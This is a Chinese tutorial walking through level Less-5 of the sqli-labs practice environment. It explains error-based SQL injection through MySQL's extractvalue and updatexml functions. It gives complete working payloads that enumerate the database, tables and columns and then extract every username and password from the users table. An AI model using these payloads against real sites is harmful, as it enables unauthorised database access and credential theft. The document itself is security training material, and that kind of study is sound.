Less-5(Double injection-Single Quotes-String)
打开Less-5
页面,可以看到页面中间有一句Please input the ID as parameter with numeric value
,那么先使用ID
这个参数通过GET
方式传入一个数值。
确定注入点
注入语句:?id=1
。
从上图可以看出传入id=1
并没有回显查询结果,接着试一下?id=1'
,发现在引号
附近产生歧义导致了报错。并且通过报错信息可以看出闭合SQL语句时用的是单引号。
由于这里不回显查询结果,但是依然会显示报错信息,那么就不使用联合注入,而选择报错注入。
使用注入语句:?id=1' --+
看看是否能够正常闭合并注释,从下图看出是没有问题的。
关于报错注入:
报错注入主要使用xpath
语法错误来进行报错注入,主要利用extractvalue
和updatexml
两个函数。使用条件:·mysql版本>5.1.5
。
-
extractvalue
函数
正常语法:extractvalue(目标xml文档,xml路径);
第一个参数是string格式,为xml文档对象的名称。
第二个参数是xpath格式的字符串,要求符合xpath语法的字符串,如果不满足要求,则会报错,为了方便开发人员调试会将报错信息放在查询结果中。
作用:从目标xml中返回包含所查询值的字符串。
常见用法:id=" and(select extractvalue("anything",concat('~',(注入语句))))
,其中~
也可以写成其ASCII码0x7e
或者换成#
、$
等不满足xpath
格式的字符。
注意:extractvalue()
能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()
函数截取或limit
分页,一次查看最多32位。例:substring(name,5,3)
截取name
这个字段 从第5个字符开始 截取之后的3个字符。 -
updatexml
函数
正常语法:updatexml(目标xml文档,xml路径,更新的内容);
第一个参数是XML的内容
第二个参数是需要update的位置XPATH路径
第三个参数是更新后的内容
和extractvalue()相同的是都是对第二个参数进行操作的,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。第一个参数和第三个参数可以随便写。
常见用法:id='and(select updatexml("anything",concat('~',(注入语句())),"anything"))
确定当前数据库名
注入语句:?id=1' and updatexml(1,concat(0x7e,(select database())),1) --+
。其中,concat
函数用于连接两个字符串,形成一个字符串,concat('a','b')='ab'
,这样当爆出多个信息时,可以通过~
进行分割。
从报错信息中可以看出,当前数据库为security
。
确定数据库中的数据表
注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+
确定users表中的列名
注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+
通过上述注入可以得知users
表中存在三列,分别为id
、username
、password
。
确定users表中的用户名和密码
注入语句:?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+
从上图可以看出,爆出的账号密码长度超出了32,所以需要继续使用substring()
函数每隔32位截取一次,最终拼凑出全部内容。
至此,就得到了当前表中所有的用户名和密码。